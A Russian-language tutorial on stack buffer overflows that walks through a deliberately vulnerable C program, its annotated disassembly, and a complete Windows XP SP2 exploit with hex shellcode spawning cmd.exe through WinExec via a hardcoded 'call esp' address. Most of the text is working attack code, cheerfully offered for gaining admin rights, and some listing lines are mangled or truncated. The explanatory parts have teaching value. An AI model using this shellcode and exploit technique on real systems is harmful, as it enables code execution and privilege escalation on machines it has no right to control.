Переполнение буфера — это явление, возникающее, когда компьютерная программа записывает данные за пределами выделенного в памяти буфера - говорит нам википедия(http://ru.wikipedia.org/wiki/Переполнение_буфера). Что же это за буфер такой? Рассмотрим на примере. //Листинг 1. #include void cat4(char *); int main(int argc,char *argv[]) { char buf[0x100];//Итак вот первый "буфер". Размер:256 байт. strncpy(buf,argv[1],0x100-1);// Копируем первый аргумент программы в cat4(argv[2]);//переменную buf 255 символов,в 256 функция допишет ноль. //Далее вызываем обьявленую нами ранее функцию cat4 с аргументом, //в качесвте которого выступает второй параметр проги. return 0; } void cat4(char *str) { char b[4]="";//Обьявляем 4 байтовый масив. strncat(b,str,4);//копируем 4 символа в этот масив после этого запишется 0 //Попутно стирая какуе-то инфу ;)... } Значит так, как видиш буфер - это простая переменная :). В нашей уязвимой проге мы использовали две функции strncpy() и strncat(). Первая принимает 3 аргумента: строка,в которую копируем, строка, которая копирует и количество символов, которое нужно скопировать. Вторая работает аналогично, только она дописывает. Весь прикол в том, что эта, и многие другие описаные в стандарте С функции добавляет ноль в конце копирования, тем самым создавая правильную ASCI строку. Это правильно. Язык С создан красивым, гибким, расширяющим граници, в то же врея кодер должен сам заботится о многих вещах, в подарок он получает бешеный выигрыш в производительности ;). Так... Посмотрим на дизасемблированый вариант нашей проги. Я использовал MS VC 7.0 при компиляции и Ольку при отладке и соответственно дизасемблирования. Если ты используеш тоже самое у тебя получится аналогичный листинг :). ;Листинг 2 /*401000*/ push ebp ;Сохраняем ebp /*401001*/ mov ebp,esp ;ложим еsp в еbp /*401003*/ sub esp,100 ;Резервируем для переменных 0x100 байт ;на с это вылядело так: char buf[0x100] /*401009*/ push 0FF ;количество копируемых символов /*40100E*/ mov eax,dword ptr ss:[ebp+C] ;Ложим в eax указатель указателя командной строки /*401011*/ mov ecx,dword ptr ds:[eax+4] ;в еcx ложится узатель аргумента 1 проги /*401014*/ push ecx ;еcx ложится с стэк /*401015*/ lea edx,dword ptr ss:[ebp-100] ;в edx ложится указатель на начало масива buf /*40101B*/ push edx ;edx ложится в стэк /*40101C*/ call console.00401070 ;call strncpy ;это то, что превратилось из ;strncpy(buf,argv[1],0x100-1) /*401021*/ add esp,0C ;Так сложилось,что функции постандарту C не ;чистят после себя стэк :-\... Поэтому приходится ;прибавлять к esp 0xC ;(12 - по 4 байта с каждого параметра) /*401024*/ mov eax,dword ptr ss:[ebp+C] ;Ложим в eax указатель указателя командной строки ;Что-то знакомое,правда :)? /*401027*/ mov ecx,dword ptr ds:[eax+8] ;Ложим в еcx указатель на 2 аргумент проги. /*40102A*/ push ecx ;Ложим еcx в стэк /*40102B*/ call console.00401039 ;вызываем функцию cat4(argv[2]) /*401030*/ add esp,4 ;Чистим стэк... /*401033*/ xor eax,eax ;eax=0 /*401035*/ mov esp,ebp ;esp=ebp /*401037*/ pop ebp ;Вытаскиваем значения ebp из стэка /*401038*/ retn ;По идее выходим из функции int main() ;Но это в идеальном случае, на самом же деле ;eip=dword[esp], то есь из стэка вытаскивается ;верхнее значение, и мы туда переходим. ;Так... А это начинается cat4(char *str) /*401039*/ push ebp ;Резервируем ebp /*40103A*/ mov ebp,esp ;esp=ebp /*40103C*/ push ecx ;резервируем 4 байта (char b[4]="") /*40103D*/ mov al,byte ptr ds:[405280] ;\Таким вот забавным способом все элеметы масива b /*401042*/ mov byte ptr ss:[ebp-4],al ;| обнуляются... /*401045*/ xor ecx,ecx ;|Вот что такое ЯВУ... на это все можно было бы /*401047*/ mov word ptr ss:[ebp-3],cx ;|потратить 2 байта(cdq/push edx). Так нет же!!! /*40104B*/ mov byte ptr ss:[ebp-1],cl ;/Мы же на С пишем... надо выпендрится... ;И оптимизировать код через жопу... 17 байт на ЭТО ;потратил компилер :-\ ... /*40104E*/ push 4 ;Количество копируемых символов /*401050*/ mov edx,dword ptr ss:[ebp+8] ;указатель на 2-ой аргумент проги /*401053*/ push edx ;ложим в стэк /*401054*/ lea eax,dword ptr ss:[ebp-4] ;указатель на b /*401057*/ push eax ;ложим в стэк /*401058*/ call console.00401170 ;вызываем функцию strncat(b,str,4) /*40105D*/ add esp,0C ;чистим стэк от параметров /*401060*/ mov esp,ebp ;esp=ebp /*401062*/ pop ebp ;востанавливаем ebp /*401063*/ retn ;"выходим" /*401064*/ int3 /*401065*/ int3 /*401066*/ int3 /*401067*/ int3 /*401068*/ int3 /*401069*/ int3 /*40106A*/ int3 /*40106B*/ int3 /*40106C*/ int3 /*40106D*/ int3 /*40106E*/ int3 /*40106F*/ int3 После этого кода идет инициализация проги, описание используемых функций и прочий бред... Забавно... Это все у нас весит 24 кб... на асме можно было бы уложится в 2(есть такая либа прикольная msvcrt.dll называется ;)...). ЯВУ... А что? за удобства нужно платить... Получается, что когда мы передаем нашей проге ОЧЕНЬ большую строку происходит переполнение буфера. Все, что нам остается, это передать нужную строку с шелкодом. Шелкод - это код написанный на ассемблере и передаваемый в прогу для выполнения. Такое вот необычное приминение можно найти програмке, которая просто анализирует какую-строку и все... Так... уязвимую прогу мы рассмотрели... осталось рассмотреть эксплоит. Эксплоит - программа-шприц, которая впрыскивает отраву(шелкод) в жертву, в результате чего жертва выполняет наш код, то есть делает ВСЕ ЧТО МЫ ЗАХОТИМ :). Вот такие пироги. Переполнение буфера обычно используют для запуска командного интерпретатора с правами рута. Рут - это админ. Если уявимая прога запущена с правами админа, то мы спокойно можем стать админами ;). Рассмотрим передаваемую в уязвимую прогу строку. В ней должен быть адрес на команду call esp В это время на верхушке стэка должен быть адрес шелкода. Шелкод у нас будет запускать cmd.exe. Ну вот и все в принципе. Алгоритм приведенного ниже эксплоита такой. Проверяем лежит ли адресу 0x7C82385D команда call esp. Если ее там нету - дальнейшая работа не имеет смысла. Этот адрес действителен для xp sp2. В остальных виндах очень маленькая вероятность того, что будет такой адрес. Потом мы находим адрес WinExec(что бы не искать его в шелкода, а то он разрастется до неба(в принципе можно но так, имхо, эфективней). Записываем его в тело шелкода, как раз на команду mov eax,$ffffffff , вместо $ffffffff. Создаем имя уязвимой программы, в данном случае 1.exe, рекомендую записать скомпиленый эксплоит и уязвимую прогу в папочку с Олькой и там запускать все в месть, для того, что бы видеть как оно работает. Потом заполняем буфер нопами, телом шелкода и рэтами. Первый параметр проги готов :). Потом записываем пробел и 4 буквы A. И запускаем нашу прогу со всеми аргументами ;). //Листинг 3 #include #include #include void or_yes(int *); char shell[]="\x5d\x38\x82\x7C"//адрес инструкции call esp в kernel32.dll "\x83\xC4\x84"//add esp,-0x80; Там наxодятса nop'ы "\x6a\x01" //push 1 "\xeb\x1e" //jmp $+shell_code_size "\x5d" //pop ebp "\x55" //push ebp "\xb0\x1f" //mov al,0x19 "\x40" //inc eax "\x8d\x7d\03" //lea edi,[ebp+3] "\xaa" //stosb "\x47\x47" //inc edi/inc edi "\xaa" //stosb "\x83\xc7\x05"//add edi,5 "\xaa" //stosb "\x83\xC7\x03"//add edi,3 "\x33\xc0" //xor eax,eax "\xaa" //stosb "\xB8"// начало опкода mov eax, \ "\xFF\xff\xff\xFF"// / mov eax,{адрес WinExec} "\xff\xd0" //call eax "\xC3" //ret "\xe8\xdd\xff\xff\xff" //call $-shell_code_size-1 //call WinExec("cmd /K start cmd",); "cmd" "\xFF" "/K" "\xff" "start" "\xff" "cmd"; void shell_on()// эта функция находит адрес WinExec и записывает его в наш шелкод. { char kernel[]="kernel32.dll"; char exec[]="WinExec"; char prc[3]; _asm { lea eax,exec push eax lea eax,kernel push eax call ds:[GetModuleHandle] push eax call ds:[GetProcAddress] mov dword ptr ss:prc,eax } for(int i=34,j=0;i<=37;shell[i++]=prc[j++]); } int main(int argc,char *argv[]) { int ret; or_yes(&ret); if(!ret)return 0; shell_on(); char name[]="OllyDbg 1.exe"; char buffer[0x100+6+3]=""; int i,j,len; len=strlen(name); for(i=0;i<=len;i++)buffer[i]=name[i]; buffer[--i]='\x20'; i++; //strcpy(buffer,name); for(;i<=0x80+4+len;i++)buffer[i]='\x90'; len=strlen(shell); //buffer[0x80+1]='\x20'; //for(int f=2;f<=4;buffer[0x80+ f++]='\x90'); for(j=0;j for(;i<0x100+5;i++)buffer[i]='\xc3'; buffer[0x100+5]='\x20'; for(i=0x100+5+1;i<=0x100+5+4;i++)buffer[i]='A'; WinExec(buffer,1); return 0; } void or_yes(int *i) { _asm {//адрес действитилен на моей тачке,Xp'ха Sp2. Впрочем для ломаемой //системы не проблема подставить правильный адрес ;). mov eax,0x7C82385D // Жестакая привязка ето сакс. Сори, ничего не mov ebx,dword ptr ds:[eax]// лучшего пока не могу придумать :(. cmp bx,0xd4ff jz yes mov i,0 yes:mov i,1 } } Ну вот и все. Это была вводная статья про переполнения буфера. Надеюсь она кому-то поможет :).
|